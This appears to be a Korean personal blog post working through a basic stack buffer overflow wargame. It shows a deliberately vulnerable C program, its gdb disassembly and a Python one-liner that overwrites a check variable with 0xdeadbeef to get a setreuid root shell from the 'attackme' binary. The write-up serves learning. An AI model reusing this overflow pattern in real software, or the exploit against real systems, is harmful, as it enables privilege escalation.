bof 기초

2017. 11. 27. 23:350x04 pwnable

728x90

#include <stdio.h>

#include <unistd.h>


main()

{

int crap;

int check;

char buf[20];

fgets(buf,45,stdin);

// buf 채운 뒤 0xdeadbeef 해야 한다.

if(check == 0xdeadbeef) // vuln 

{

setreuid(3095,3095);

system("/bin/sh");

}

return 0;

}


(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048490 <main+0>:    push   ebp

0x08048491 <main+1>:    mov    ebp,esp

0x08048493 <main+3>:    sub    esp,0x38

0x08048496 <main+6>:    sub    esp,0x4

0x08048499 <main+9>:    push   ds:0x8049664

0x0804849f <main+15>:   push   0x2d

0x080484a1 <main+17>:   lea    eax,[ebp-56] 

0x080484a4 <main+20>:   push   eax

0x080484a5 <main+21>:   call   0x8048360 <fgets>

0x080484aa <main+26>:   add    esp,0x10

0x080484ad <main+29>:   cmp    DWORD PTR [ebp-16],0xdeadbeef // checking 

0x080484b4 <main+36>:   jne    0x80484db <main+75>

0x080484b6 <main+38>:   sub    esp,0x8

0x080484b9 <main+41>:   push   0xc17

0x080484be <main+46>:   push   0xc17

0x080484c3 <main+51>:   call   0x8048380 <setreuid>

0x080484c8 <main+56>:   add    esp,0x10

0x080484cb <main+59>:   sub    esp,0xc

0x080484ce <main+62>:   push   0x8048548

0x080484d3 <main+67>:   call   0x8048340 <system>

0x080484d8 <main+72>:   add    esp,0x10

0x080484db <main+75>:   leave

0x080484dc <main+76>:   ret

0x080484dd <main+77>:   lea    esi,[esi]

End of assembler dump.


[ebp-56]~[ebp-16]까지 거리 40 


(python -c 'print "\x90"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme

'0x04 pwnable' 카테고리의 다른 글

ASLR 적용 된 바이너리 ASLR 해제하기 2~  (0) 2017.12.06
ASLR 적용 된 바이너리 ASLR 해제하기~  (0) 2017.12.06
rtl 공부 2  (0) 2017.11.27
rtl 공부  (0) 2017.11.27
Main HEAP and Thread HEAP  (0) 2017.10.30